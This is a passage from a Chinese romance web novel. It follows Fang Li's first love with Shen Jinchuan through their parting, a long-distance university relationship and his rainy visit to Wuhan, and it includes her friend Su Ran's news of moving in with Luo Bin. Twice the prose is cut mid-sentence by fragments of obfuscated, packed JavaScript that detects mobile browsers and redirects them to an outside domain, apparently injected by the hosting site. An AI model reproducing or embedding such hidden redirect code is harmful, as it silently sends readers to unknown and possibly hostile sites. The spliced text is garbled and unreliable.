严莉莉刚去广州那会,每天都会给我们发消息。她总抱怨广州太热,说“热死人了,这地方根本不适合北方人待”,还会拍些街景发给我们看。 可慢慢地,她的消息越来越少。有时候在群里冒个泡说两句话就消失了,有时候我们问她近况,她要隔一两天才回个“挺好的,别担心”。我们都以为她是工作太忙。 却没想到这次发给她消息后,没有等到她的任何回复,甚至第二天扣扣直接下线了再也没有登录过,电话也从关机成了空号。 我们三个急疯了,在群里给她留了好多话,也私信问她,问她是不是出事了,可消息就像石沉大海一样,一点回音都没有。 等严莉莉再次联系我们时,已经是一年半后了。 吃完饭,罗斌说要送苏冉回家,沈晋川也自然地站到我身边。其实我和苏冉家都很近,走几步就到,但我们谁都没拒绝。 我甚至希望这条路能再长一点,能让我和沈晋川多呆一会。 我和沈晋川走得很慢,快到我家时,我们不约而同地停下脚步。 “大白兔奶糖做的花束,又忘记带了。”他挠挠头,“明天一定带给你。” “好。”我笑着说。 “明天想去哪里玩?”沈晋川轻声问我。 “都可以啊。”我低着头,用脚尖轻轻踢着地上的小石子。 沈晋川想了想:“那我们先去图书馆?然后去公园逛逛,再去吃个饭……”他顿了顿,有些不好意思地补充,“最后去看个电影?” “好啊。”我点点头,感觉耳朵有点发烫。 不知道为什么,总感觉刚表白的那几天,两个人都特别害羞,明明之前没捅破窗户纸的时候,经常借着玩笑暧昧,现在却连对视好像都不太敢。 那时候的感情特别纯粹,两个人都第一次谈恋爱,想靠近又不敢,想牵手又不好意思。 走路时手臂不小心碰到,都会像触电一样赶紧躲开,然后偷偷红了脸。心里明明盼着能多亲近一点,可真要碰到了,又紧张得心跳加速。 现在想想,那种青涩的感觉真的很美好,就像刚学会骑自行车的小孩,既兴奋又忐忑,小心翼翼地往前骑,生怕摔着,却又忍不住想骑得更快更远。 我们在路灯下站了一会,直到看见我妈从院子里出来,我才朝沈晋川挥手:“那我先回去了,明天见。 “明天见。”他站在原地没动,一直看着我往家走。 第二天收到沈晋川的消息后,我就迫不及待的出门了,他站在向花街的那棵老槐树下,手里捧着一束用大白兔奶糖做的花。 无数颗奶糖被精心包装成花朵的样子,用彩纸包着,系着小小的蝴蝶结。 “喜欢吗?”沈晋川有点紧张地问。 “嗯!”我用力点头,“很好看,你手真巧。” “网上学的。”沈晋川不好意思地笑了,“走吧,公交车要来了。” 我们去了市图书馆,其实根本没怎么看进去书。沈晋川坐在我对面,时不时抬头看我一眼,被发现就赶紧低头假装看书,耳朵红红的。 中午我们吃了三明治,他特意带了一个保温杯,里面装着红糖水,拿出来的那一刻我有点惊讶,早上他来找我时我就看到了,原本还以为是他带的开水。 “你……”我惊讶地看着他。 “我查过了。”他红着脸解释,“这几天喝这个比较好。” 下午的电影院人不多,我们选了最后一排。 黑暗中,他的手悄悄伸了过来,轻轻握住了我的手,我心跳得厉害,连电影演了什么都没看进去。 我想沈晋川应该也是一样吧,他的手心全是汗,轻轻包着我的手,还在微微发抖。 我偷偷瞄了他一眼,发现他直勾勾盯着银幕,周围太黑,我看不清他的表情,心跳快得像是要蹦出来。 后来我们聊起这件事时,我总爱逗他:“沈晋川,没想到你那时候那么纯情,牵个手都会紧张得发抖。” 他立刻凑过来亲我,把我压在沙发上:“某人好像忘了自己当时脸红得像熟透的苹果?” “你现在怎么这么流氓?”我作势要推开他。 他却收紧手臂,边吻我边说:“还有更流氓的,要不要试试?” 不管我说要不要,他都会缠上来,那时候的我们真的很甜腻。 看完电影,我们坐公交回到了建峰镇,沈晋川送我回家,路灯把我们的影子拉得好长,感觉才刚见面,一天就溜走了。 后面几天,我们几乎天天见面,起初牵个手,两人都像被烫到似的飞快松开,脸热得能煎蛋,后来慢慢的,牵手成了习惯,也不再脸红了,他还会替我别开被风吹乱的碎发,我也会自然的挽住他的胳膊。 分数出来的那天,几家欢喜几家愁。 沈晋川考上了浙大,潘露也是,两人再度成了校友。我考去了武汉,最让人揪心的是苏冉。她红着眼来找我们 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我又单独给严莉莉发了几条信息,简单的说了说近况后,又给她留了一条:“莉莉,看到消息回个电话好吗?我们都很想你。” 分别那天,火车站闹哄哄的。 我拉着潘露的手,一遍遍叮嘱沈晋川:“你们都在浙大,互相照应着点。”我看着沈晋川说,“潘露是我最好的朋友,你得帮我照顾好她,听见没?” 沈晋川点头,眼睛有点红:“好。你一个人去武汉,更要当心。” 他抬手想揉我头发,又放下,把我拉到柱子后面,额头抵着我的额头:“每天都要视频。” “嗯。” “不许看别的男生。” “你也是,不许看其他女生。” “好。”他低头吻我,嘴唇微微发抖。 火车鸣笛的声音吓得我们赶紧分开。 “照顾好自己。”他红着眼睛,眼里的不舍浓得化不开,“我放假就去看你。” 我点点头,喉咙堵得说不出话。 火车快开了,沈晋川跳上车厢,在窗口对我挥手。汽笛声再次响起,车轮缓缓转动。 “记得给我打电话!”他突然探出半个身子大喊,声音淹没在站台的嘈杂里。 “知道啦!”我踮起脚尖挥手,声音有些发抖。 火车越开越快,他的身影越来越小,最后变成一个模糊的蓝点,消失在铁轨尽头。我站在原地没动,手里还攥着他刚才塞给我的大白兔奶糖。 看着人来人往的站台,我突然觉得心里空了一块,那会我还不知道,“异地恋”这三个字,嚼起来会那么涩,那么苦。 我的异地恋就这样开始了。 那时候我还不知道,异地恋会那么辛苦。 十八岁的我,还不知道视频会经常卡顿,不知道隔着屏幕吵架却不能当面和好有多难受,更不知道想念会像慢性病一样时好时坏,却永远根治不好。 我以为只要相爱就够了,以为距离不过是地图上的几厘米,以为深夜的语音能代替温暖的拥抱。 9. 七百公里的思念 到武汉的第一晚,宿舍里吵吵嚷嚷的。六个刚认识的女生忙着收拾行李,交换零食,加微信。 我刚收拾好东西,手机屏幕就亮了,沈晋川发消息说:【杭州好热,闷得人喘不过气来了。】 我看了看窗外的夜色,回他:【武汉也是。】 他又说:【我想你了。】 我看着那四个字,心脏像被人轻轻揪了一下,手在键盘上停了一会,最后回了一句:【我也想你了。】 其实我想说的还有很多,比如“室友们都挺友好的”,或者“宿舍的床板有点硬”,可打出来又删掉。最后又发了个小猫打滚的表情包。他也回了个亲亲的表情。 真奇怪。明明昨天我们还牵着手在车站难舍难分,今天就连聊天好像都变得小心翼翼了。 晚上熄灯后,我躲在被子里给沈晋川打电话。他的声音透过耳机传过来,有点哑:“去那边还习惯吗?” “刚来还好。”我把脸贴在手机上,“就是宿舍没空调,热死了。” “明天有空去买个小风扇吧。”沈晋川说。 我“嗯”了一声,又听他说:“潘露刚到学校,就有好几个男生抢着帮她搬行李。” “她那么漂亮,很正常啊。”我轻声笑道。 眼前立刻浮现出潘露的样子,她一直是人群里最亮眼的那个,长发飘飘,笑起来眼睛弯成月牙。 不知道在大学里,她会不会遇见她的白马王子,不过以她的条件,追求者恐怕会比高中时多得多吧?说不定反而会给她带来困扰。 想到这里,我不由得担心起来,潘露看起来那么柔弱,一个人去到陌生的城市,认识的只有沈晋川。 如果她在那边受了委屈,遇到什么不开心的事情,我和苏冉不能在第一时间陪在她身边了。 “你要多照顾着点潘露。”我轻声嘱咐沈晋川,完全没觉得有任何不妥的地方。 在我看来他们一个是我男朋友,一个是我从小到大的好姐妹,现在两人在一个学校上学,沈晋川作为男生就该多照顾潘露。 “让我照顾别人,那谁来照顾你?”沈晋川的声音闷闷的,“我们分开才一天,你就在这叮嘱你男朋友照顾别的女生。” “潘露又不是别人。”我下意识回答,“再说我能照顾好自己的。” 明明自己也是刚离开家,却总是先为别人操心。这种习惯似乎是与生俱来的,对朋友的事总比对自己还要上心。 特别是对从小一起长大的潘露,我始终怀着一种保护欲。在她面前,我永远像个护短的姐姐,哪怕我只比她大三个月,哪怕她可能比我想象中要坚强得多。 沈晋川说:“如果她有事要帮忙的话,我会帮她的。” 我“嗯”了一声,又突然想到开学那天我们学校也有很多学长帮新生拿行李,脱口而出:“我们这边也有学长……”刚开口我又想到了什么,喉咙突然发紧。 我急忙清了清嗓子,把话题转向了无关紧要的宿舍温度上:“你们宿舍热吗?” 报到那天,有个高个子学长执意要帮我搬行李的画面在脑海中闪现。 我慌乱拒绝的样子,现在想来还有些可笑。但这件事,还是不要让沈晋川知道为好。 其实那天拒绝学长后,我一个人拖着沉重的行李箱爬了三层楼,后背都汗湿了。 可即便如此,我也不愿让沈晋川知道这件事。这大概就是初恋时特有的小心翼翼吧,明明什么都没做,却本能地想要避开所有可能引起误会的细节。 就像守护着一株刚破土的嫩芽,生怕任何风吹草动都会影响它的生长。 “宿舍有点热的。”沈晋川的声音没什么变化,“我明天也要去买个小风扇……” “沈晋川。”我突然叫他。 “嗯?” “……没事。”我咬了咬唇。 其实我想说收拾东西时我不小心把洗发水弄撒了,行李箱里都是,想说食堂的菜好咸,想说走在校园里看到情侣牵着手我就鼻子发酸,想说才分开我就想他了,好想好想。 但最后只说:“你想我了吗?” 电话那头安静了几秒,然后是他闷闷的声音:“想。才分开一天就想得不行,我都不知道以后四年怎么办啊。” 我的眼眶一下子热了。七百公里,地图上那么短,现实却这么远。 “等放假我就去看你。”他的声音轻轻的,“很快的。” 我用力点头,才想起他看不见。“嗯,”我把脸埋进枕头里,“我等你。” 挂掉电话后,我盯着上铺的床板发呆。手机屏幕还亮着,是我们暑假出去玩时拍的合照,沈晋川搂着我的肩膀,我们两个都笑的很开心。 我听到隔壁铺的佟雯正和男朋友打电话,她压低的笑声在安静的宿舍里格外清晰。 “哎呀不用买那么多啦。”她娇嗔着,“不过那个粉色的小桌垫确实好看……” 我望着手机屏幕发呆,突然觉得鼻子发酸。她和她男朋友不是异地,他们一起考来了武汉,明明在同一个城市,他们还是这么腻歪地打着电话,而我和沈晋川之间却隔着七百多公里。 手机屏幕自动熄灭,又被我按亮,看着屏保里沈晋川的笑脸,仿佛还能感觉到他搂着我的力道,那天阳光很好,照得我们眼睛都眯了起来。 现在想来,那时候的我们根本不知道异地恋是什么滋味。就像沈晋川刚才说的,才分开一天,思念怎么就追赶着爬过来了呢? 佟雯的笑声渐渐小了,宿舍里只剩下均匀的呼吸声。 我把手机贴在胸口,仿佛这样就能离沈晋川近一点。 七百公里外的杭州,此刻的沈晋川是不是也正望着手机里我们的合照发呆?是不是也在数着放假的日子?是不是也在想我呢? 大学生活慢慢步入正轨。 苏冉常在群里问我们过得怎么样,偶尔也说说她的近况,她说罗斌也去市里打工了,他们两个工作的地方离得不远,经常能见面。 我和沈晋川每天都打电话,隔两三天就视频一次,刚开始那种撕心裂肺的想念,现在好像变得温和了些。 我经常问潘露关于沈晋川的事,比如他在学校有没有人追。 我半开玩笑地让潘露帮我看好他:“我们离得远 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隔壁铺翻了个身,床架发出轻微的吱呀声,我突然想起明天早八还有课,该睡觉了。可闭上眼睛,脑海里全是沈晋川说要来时坚定的语气。 把手机塞到枕头下,却又忍不住掏出来,沈晋川要来了,他来后,我们要去哪里约会呢? 心里像揣了只小兔子,扑通扑通跳个不停,明明才分开不到一个月,却感觉已经好久好久没见到他了。我抱着枕头在床上滚了半圈,把脸埋进被子里偷笑。 清晨一睁眼,第一件事就是划掉日历上过去的一天。看着那个被红笔圈住的日期越来越近,连枯燥的学习都变得有趣起来了。 下课铃一响,我就忍不住掏出手机看时间,算着还有几天几小时才能见到沈晋川。 室友们笑我魂不守舍,连走路都差点撞到树上。 想到周末能和沈晋川一起吃饭,食堂的饭菜也变得可口了起来,连最讨厌的菜都能吃得津津有味。 我开始认真规划行程,周五晚上要带沈晋川去吃校门口那家超好吃的麻辣烫,周六要去游乐园,下午要拉着他逛遍校园的每个角落。 我把我的衣服全部都拿出来,一件件搭配比划,想着要穿哪件去车站接他。 晚上躺在床上,我掰着手指头数日子,越是临近见面的日子,时间反倒像是被胶水黏住了一般,每一分钟都拖得老长。 看着秒针慢悠悠地转圈,我恨不得亲手去推它一把。上课时总是不自觉地望向窗外,连教授点名都没听见,吃饭时勺子举到一半就发起呆来,直到室友提醒才回过神。 就连晚上做梦都在想,我马上就能见到沈晋川了,时间像是刻在心上似的,想念让人变得煎熬起来。 真奇怪,明明已经等了这么久,怎么偏偏在最后这一刻,时间变得漫长了起来? 窗外的月光洒进来,温柔得像他看我的眼神。 七百公里的思念,终于要化作一个真实的拥抱了。我把脸埋进枕头里,又忍不住笑出声来。 10. 叫我‘老公\’好不好? 凌晨的火车站人很少,我站在出站口,眼睛紧盯着往外涌的人群,沈晋川出来时,我还没反应过来,就被他一把抱住了。 “不是叫你别来了吗?“他嗓子有点哑,手臂收得很紧,“这么晚出来,宿舍还进得去吗?” 他这一问,我脑袋“嗡”了一下,脸瞬间烧了起来,赶紧把脸埋进他肩窝里。 旁边还有零星的旅客拖着行李走过,我感觉自己的耳朵烫得不行。只顾着赶过来见他,太晚还要回宿舍这件事,早被我抛到九霄云外了。 我拽着他衣角小声说:“回不去了……” 沈晋川抱着我的手臂明显顿了一下,我能感觉到他胸腔的起伏。 过了几秒,他带着点迟疑的声音在我头顶响起,声音也有些不自然的低哑:“……那,先去宾馆吧。” 我抬头看他,发现他的耳朵都是红的。 我在学校附近给他订了房间。一路上他都紧紧牵着我的手,出租车上我们开心地分享着彼此学校的趣事。 到了宾馆门口,我看着那明亮的玻璃门和里面安静的前台,脚步开始变得有点犹豫起来,就好像知道如果踏入那里,将会发生什么一样。 沈晋川像是察觉到了什么,停下脚步,攥紧我的手,突然侧过头问我:“饿吗?” 我愣了一下,摇摇头,又点点头。这才想起来,他坐了那么久的火车,肯定还没吃东西。 “你呢?”我小声反问。 他的手心和我的一样,都是汗涔涔的,看来他也并不像表面那么镇定。 “还行。”沈晋川清了清嗓子,“你要饿,我们……就先去吃点东西。” “好。”我立刻点头。 离开宾馆门口那几步路,我俩都像是卸下了千斤重担,不约而同地加快了脚步,一头扎进旁边那家还亮着灯的小吃店。 两碗热腾腾的牛肉粉很快端了上来,沈晋川拿起筷子,很自然地把碗里不多的几片牛肉都拨到了我的碗里。“多吃点。”他说。 “太多了,我吃不完……”我小声说。其实我一点也不饿。 “没事,你先吃,吃不完的我吃。”他低着头,用筷子搅拌着自己那碗没有牛肉的牛肉粉,耳根的红晕还没完全褪去。 我们俩开始埋头吃粉,谁都不好意思抬头。 吃完东西回宾馆,短短一段路我们磨蹭了快十分钟。他牵着我的手汗津津的,电梯里只有我们两个人,安静得能清晰地听到电梯运行的嗡鸣和我们俩的心跳声。 我盯着不断跳升的红色楼层数字,刚刚平复下去的心跳又开始不受控制地加速,手心也开始冒汗。 终于进了房间,我们并排坐在床边,明明从火车站一路回来还能聊个不停,此刻却像被按了静音键,谁也不知道该说什么打破这满室的安静。只有空调发出细微的风声。 沈晋川的手轻轻覆盖在我的手背上,我能感觉到他手在微微颤抖,我的手也控制不住地轻轻回抖。 空气安静得仿佛凝固了,我甚至能听到他略显急促的呼吸声。 时间一分一秒地过去,也不知道这样僵坐了多久。突然,沈晋川手臂一伸,把我整个人揽进了怀里。 我身体一僵,还没来得及反应,他的唇就轻轻贴上了我的唇。 他的吻很生涩,带着一种初次的笨拙微颤着,温热的呼吸拂过我的脸颊,痒痒的。 “我好想你……”沈晋川含糊的声音贴在我唇边响起,抱着我的手臂又收紧了些,仿佛要把我揉碎在他怀里。 我们像两个初次探索新世界的孩子,一切都那么陌生又新奇。 牙齿不小心轻轻磕碰了一下,两人都立刻红着脸稍稍分开,眼神躲闪。带着点羞涩,又忍不住再次靠近。 吻得久了,气息都有些不稳,嘴唇也微微发麻,最后只能气喘吁吁地分开,额头抵着额头。疲惫感涌上来,我们就这么穿着衣服,互相依偎着睡了过去。 半夜我迷迷糊糊地感觉到沈晋川轻轻帮我掖了掖被角。 第二天清晨醒来,我发现自己枕着沈晋川的胳膊,他另一条手臂还松松地环在我的腰间。我稍微动了一下,他就醒了。 他睡眼惺忪地冲我笑,然后凑过来在我额头上亲了一下。 我们赖在床上腻歪了好久,直到肚子饿得咕咕叫才爬起来洗漱。 原本计划好去游乐场,结果下起了大雨,我们只好转战去附近的商场消磨时间。没想到在奶茶店门口,迎面遇见了陈鹭。 “嗨,好巧啊。”陈鹭推了推眼镜,目光在我身上停留了一下,随即很自然地落在沈晋川身上。 我赶紧介绍:“这是我男朋友,沈晋川。”沈晋川对着陈鹭点了点头,表情很平静。 陈鹭也点点头,很有礼貌地和沈晋川打了招呼,而后和我闲聊了几句关于天气和作业的话,才挥手告别。 刚走出没多远,沈晋川就一把拽住我的手,把我拉近他身边,眉头微微蹙起:“刚才那个,是你同学?” “嗯。”我点头。 “哼。”他鼻腔里发出一声轻哼,语气有点闷闷的,攥着我的手也用力了些,“他肯定喜欢你。” 我被他这突如其来的结论弄得哭笑不得:“你怎么看出来的?就聊了两句而已。” 心里却不由感叹,男生的直觉有时候也是蛮准的。 沈晋川没回答,只是又“哼”了一声,好像懒得解释,但牵着我的手却握得更紧了。 下午,我们商场闲逛路过一家饰品店时,沈晋川拉着我走了进去。 他的目光在玻璃柜台里扫视,最后指着两条设计简洁的银色细链:“就这个吧。” 是情侣手链,他付了钱,非要当场就给我戴上,带好后,他满意地看了看,又把自己那条递给我让我帮他戴上,然后很认真地盯着我的眼睛说:“宝宝,要天天都戴着,不准摘下来。” 回到宾馆房间,也许是白天一起消磨了时光,也许是手腕上多了这条小小的纽带,我们之间比昨天自然亲昵了许多。 门一关上,沈晋川就把我圈进怀里,低头寻我的唇,吻一个接一个地落在我的额头、鼻尖、脸颊,最后辗转在唇上。 他一声声低沉地叫我“宝宝”,带着浓浓的宠溺,又用鼻尖蹭着我的鼻尖,耍赖般地说:“叫我‘老公’,好不好。” 我的脸瞬间红透了,抿着嘴不肯出声。 沈晋川见状,更是变本加厉地撒娇,像只大型犬一样把脑袋埋在我颈窝里蹭来蹭去,手臂箍得紧紧的,嘴里哼哼唧唧地磨着。 被他磨得实在没办法,心软得一塌糊涂,我终于用几乎只有自己能听到的气声,蚊子哼哼似的挤出那两个字:“……老公。” 话音刚落的瞬间,他的眼睛就亮了起来,嘴角高高扬起,露出一个灿烂又带着点傻气的笑,像个心愿得逞的孩子,纯粹的喜悦几乎要溢出来。 紧接着,一个更绵长的吻就带着毫不掩饰的欢喜落了下来。 吻了很久,直到我们气息都有些不稳了,才稍稍分开。 窗外,雨还在不知疲倦地下着,我们回来时身上都沾了湿气。 沈晋川推推我:“你先去洗个热水澡,别着凉了。” 我摇摇头:“你先去。” 他突然将我拉进怀里,凑到我耳边,声音带着笑意:“那……一起洗?” 我顿时脸红到耳根,捶了他一下:“不要!” 沈晋川低笑着,一把抓住我捶他的手,放在唇边亲了亲手背:“那你先去。” 浴室里水汽氤氲,我站在花洒下,心跳快得像是要蹦出来,脑子里乱糟糟的,全是今晚要一起过夜的念头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464335|185454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 会发生什么吗?我有点期待,更多的却是陌生的紧张和隐隐的害怕。匆匆洗好,我穿好衣服走了出去。 沈晋川并没有立刻去洗澡,他走过来,手里拿着吹风机,动作自然地示意我坐下:“头发湿着容易感冒。” 他的手指穿过我的发丝,吹风机呜呜的声音在安静的房间里格外清晰。他动作很轻柔,很专注,吹干了头发,他才起身进了浴室。 我钻进被子里躺下,听着浴室门关上的声音,紧接着,里面传来淅淅沥沥的水声。 刚刚平复一点的心跳,又不受控制地加速跳动起来,明明什么都没发生,我却觉得脸颊发烫,被子被我揪得皱巴巴的,眼睛时不时就往浴室门瞟。 不知过了多久,水声停了,门开了,沈晋川走了出来,他也穿着衣服,头发湿漉漉的,拿起桌上的吹风起随便吹了几下。 看见我躺在床上,他径直走了过来,我赶紧把被子拉过头顶,只露出一双眼睛偷看他。他笑着躺到我身边,伸手把我连人带被子搂进怀里。 我莫名紧张起来,就好像知道下一秒可能会发生什么似的,紧抓着被子不敢看他。 沈晋川低笑了一声,靠得更近了些,温热的呼吸拂过我的额角,又是一个吻落了下来,只有亲吻,没有其他。 我们都没有睡意,沉默在空气中蔓延,带着点微妙的张力。 我小声说:“睡不着,看个电影吧?” 沈晋川“嗯”了一声,拿过床头柜上的遥控器打开了电视。“想看什么?”他问我。 “都行。”我说。 他随便打开了一部电影,侧过身,把我往怀里带了带,手臂环住我的腰。我的后背贴着他的胸膛,能清晰地感受到他平稳的呼吸和有力的心跳。 屏幕上光影闪烁,演的什么故事,我一点也没看进去。 脑子里想的全是明天沈晋川就要走了,这次短暂的相聚,因为下雨哪儿都没去成。一股说不出的失落涌了上来。 我抬头看他,发现他也没在看电影,正盯着我的侧脸出神。他察觉到我的视线,抓起我的手放在唇边亲了一下。 这个温柔的举动让我心里一软,像是被什么牵引着,我主动凑上去,吻住了他的唇。 沈晋川立刻收紧了手臂,将我更深地拥入怀中,回应着我的吻。 这个吻比之前的都要深长缠绵,带着一种无需言说的情愫。 就在我几乎要沉溺在他温热的气息里时,突然感觉有什么东西硌了我一下。 动作一滞,我下意识地停下亲吻,疑惑地低下头,“你口袋里放了什么东西?硌到我了。” 话音落下的瞬间,我感觉到沈晋川的身体明显僵了一下。 他搂着我的手臂也顿住了,整个人像是被定住了似的,几秒钟的沉默,安静得能听到窗外细微的雨声。 他的脸和耳朵以肉眼可见的速度迅速漫上一层薄红,眼神也有些飘忽,不敢直视我。 “没……没什么。”他的声音有点发紧,带着点慌乱。他松开抱着我的手,动作有些匆忙地撑起身子,“我……我去上个厕所。”说完,迅速翻身下床,几乎是逃也似的快步走进了卫生间。 卫生间的门被关上了,紧接着,里面传来清晰水流声。 我独自留在床上,看着他几乎是落荒而逃的背影,再迟钝也终于后知后觉地明白过来刚才硌到我的是什么了。 一股巨大的热浪瞬间席卷了全身,脸烫得像是要烧起来,连脖子根都红了。 巨大的羞窘和一种难以言喻的悸动交织在一起,让我只想找个地缝钻进去。 我猛地将被子整个拉起来,蒙住自己的头,像只受惊的鸟,把自己彻底藏进了黑暗温暖的被窝里,心脏扑通扑通跳得厉害,被子里的空气越来越热,我却不敢探出头来。 11. 短暂的相聚 水流声停了,卫生间门打开的声音在安静的房间里格外清晰。我屏住呼吸,全身绷紧,假装已经睡着了。 沈晋川的脚步声很轻,电视里还在播放我们刚才看的电影,我甚至能够清晰的听到男女主角的对话声。 “还看电影吗?”沈晋川的声音突然从很近的地方传来。 我慢慢把被子往下拉了一点点,只露出眼睛以上的部分,不敢看他。“不看了。”我的声音闷在被子里,几乎听不见。 说完我就迅速转身背对他,把脸埋进枕头里。我听见他拿起遥控器关掉电视的声音,然后是床垫微微下陷的感觉,他上床了。 下一秒,一只有力的手臂环过我的腰,将我往后拉进一个温暖的怀抱。 沈晋川的胸膛贴在我的后背,隔着两层薄薄的衣料,我能感觉到他平稳的心跳。他的呼吸喷洒在我的后颈上,痒痒的,让我不由自主地缩了缩脖子。 “晚安。”他轻声说,嘴唇轻轻碰了碰我的后颈,像一片羽毛拂过。 房间瞬间安静下来,安静得我能听到他每一次稍显深长的吸气。 我僵着身体不敢动,连呼吸都放得很轻,脑子里乱糟糟的,既期待又害怕会发生什么。但他只是这样抱着我,什么也没做。 “睡了吗?”过了一会儿,他开口,声音里带着笑意。 我摇摇头,又点点头,自己都不知道在表达什么。沈晋川低低地笑了,胸腔的震动传到我背上。 “快睡吧,不早了。”他说着,手臂收紧了些。 我慢慢放松下来,感受着他均匀的呼吸和温暖的体温,奇怪的是,明明刚才还紧张得要命,现在被他这样抱着,却莫名安心。我悄悄往后靠了靠,让自己更贴近他。 不知过了多久,我迷迷糊糊快要睡着时,似乎感觉到沈晋川轻轻叹了口气,然后在我发顶落下了一个吻。 我想回头看看他,但最终还是没有勇气。 第二天醒来时,我还保持着昨晚的姿势,沈晋川的手臂依然环着我。阳光从窗帘缝隙透进来,在地板上画出一道金线。 “早安。”低沉的声音从头顶传来,带着刚睡醒的沙哑。 我抬头,对上沈晋川含笑的眼睛。他不知什么时候醒的,正低头看着我。没等我回应,一个轻柔的吻就落在了我的额头上。 “几点了?”我揉了揉眼睛,声音还带着睡意。 “八点了,我们还有时间。”他说着,却没有要起床的意思,反而把我搂得更紧了些。 我们在床上又赖了半个小时才起来洗漱。沈晋川订的是中午一点的火车,时间不算太赶。 宾馆楼下有家早餐店,我们简单吃了豆浆油条。他吃东西很快,但不会显得粗鲁,反而有种利落的帅气。 “你盯着我看什么?”沈晋川突然抬头,嘴角还沾着一点豆浆沫。 我伸手替他擦掉,“看你好看。” 他愣了一下,耳尖微微发红,低头继续喝豆浆,但嘴角明显上扬了。 吃完早餐回酒店收拾行李时,时间突然变得很快。明明刚才还觉得充裕,转眼就到了该出发的时候。 沈晋川把最后一件体恤塞进背包,拉上拉链的动作像是在给这段短暂的相聚画上句号。 去火车站的出租车上,他一直握着我的手,窗外的景色飞速后退,就像这短暂相聚的时光。 “时间过得真快。”沈晋川望着窗外说,“感觉才刚下火车就要走了。” 我点点头,喉咙突然有些发紧,“是啊,你来这两天都在下雨,都没能好好玩。” 他转过头来看我,眼神温柔得让我心头发酸,“没关系,能和你待在一起就好。” 火车站永远是人来人往的样子,嘈杂又匆忙。我们站在检票口前,周围是拖着行李匆匆赶路的旅客,广播里不断播放着车次信息。 “要检票了。”我看着大屏幕上的时间提醒他。 沈晋川抓着我的手,突然低头在我手背上吻了一下,“等我下次再来看你。” “嗯。”我点点头,怕一开口声音就会发抖。 “你先回去吧。”他说。 “我看你进去。”我固执地站着不动。 沈晋川无奈地笑了,突然凑近在我唇上快速亲了一下,然后转身走向检票口。 我站在原地,看着他的背影逐渐被人群淹没。在即将消失的瞬间,他回头冲我挥了挥手,示意我回去。 我一直等到完全看不见他了,才慢慢转身离开。火车站外的天灰蒙蒙的,我揉了揉眼睛,发现指尖是湿的。 回学校的公交车上,我靠着窗户发呆,手机突然震动起来,看到是苏冉打来的电话时,我才猛然想起这两天她给我发了好几条信息,而我因为沈晋川的到来,一条都没回。 甚至她打来的视频电话,我也直接挂断说在忙,晚点回她,结果完全忘了这回事。 “喂?”我接起电话,声音还有些哑。 “方梨!你终于接电话了!”苏冉的嗓门透过话筒传来,震得我不得不把手机拿远一点,“消息不回,电话不接,一发信息你就说忙,怎个事?不想理我了?” “没有,对不起对不起。”我连忙道歉,“沈晋川来看我,我就给忘了……” 苏冉轻哼了一声:“难怪呢,重色轻友!” 我不好意思地笑了笑,看向窗外飞速后退的景色。公交车在一个红灯前停下,旁边一辆车的后座,一个小女孩正趴在窗户上好奇地看着我。 “所以……怎么样?”苏冉压低声音,语气里的八卦意味藏都藏不住。 “什么怎么样?”我装傻。其实我知道她想问什么。 “别装!你们……那个了吗?” “没有!”我立刻否认,感觉脸又烧了起来,“就……就是普通见面。” “真的?”她明显不信,“那你为什么声音这么虚?两天信息不回,视频电话不接,我不信没发生点啥。” “真没有!”我感觉脸烫的不行,“他就是来看我,本来打算出去玩的,结果在下雨,哪儿也没去成,然后今天就回去了。” 电话那头沉默了几秒,“这沈晋川真差劲,白白浪费了两天的大好时光!不过方梨,你完了,为了男朋友不理我,这账我得跟你算。” “等我放假回去请你吃饭赔罪。”我笑着承诺。 “这还差不多。”苏冉哼了一声,语气明显软了下来。 我们聊了我的大学生活,又聊了她的现状,她说工作又累又辛苦,不过还好有罗斌陪着她,说起罗斌,她的声音忽然变得有些扭捏起来:“对了,我……我有事跟你说……” 我敏锐地察觉到一丝不同寻常的气息:“什么事啊?神神秘秘的。” “我……我和罗斌同居了。”苏冉这句话说得又轻又快,像是不好意思,却又掩不住甜蜜。 “什么?!”我惊得差点从公交座椅上弹起来,引得旁边乘客侧目而视。我赶紧压低声音,“什么时候的事?怎么突然就住一起了?” “就上个月。”苏冉的声音里带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“罗斌说,两个人都在外面打工,都要租房子,住一起能省一份房租。”她的声音里带着笑意,“他还说……说要好好工作,攒两年钱就结婚。” 说到最后几个字时,她的声音几乎变成了气音,带着掩饰不住的甜蜜和憧憬。 我的心突然软得一塌糊涂。 电话那头,苏冉还在继续说着:“你都不知道罗斌对我有多好……在家都是他做饭,从来不让我下厨,连碗都不让我洗……” 她的声音里带着我从未听过的幸福和满足,“昨天我来例假,肚子疼的不行,他特意请了半天假回来给我煮红糖姜茶……” 听着她絮絮叨叨地说着这些琐碎的日常,我的眼眶不知怎么有些发热。 认识苏冉这么多年,我知道这对她意味着什么,在她那个重男轻女的家里,从小到大,家务活都是她一个人包揽的,那个家里没有人关心她,现在突然有个人把她捧在手心里,事事以她为先,难怪她会这么快沦陷。 “那他真的很爱你。”我轻声说,心里既为她高兴,又有些说不出的酸涩。 “嗯,我也很爱他。”苏冉的声音轻得像一片羽毛,却重得像是许下了一个承诺。 电话那头突然传来门锁转动的声音,接着是罗斌熟悉的嗓音:“冉冉,我回来了!买了你爱吃的草莓……” “罗斌回来啦!”苏冉的声音立刻雀跃起来,又压低声音对我说,“先不说了,改天再聊!” 挂断电话前,我听到她欢快地喊了一声“来啦!”然后是拖鞋啪嗒啪嗒的声响。 电话切断的瞬间,我的眼前仿佛浮现出苏冉奔向门口的样子,嘴角上扬,眼睛里盛满了光,像一只终于找到归宿的小鸟。 那时侯的我们,都以为小鸟找到了可以栖息的大树,却不知道那树上布满了捕鸟的粘胶。 12. 我的爱情是独一无二的 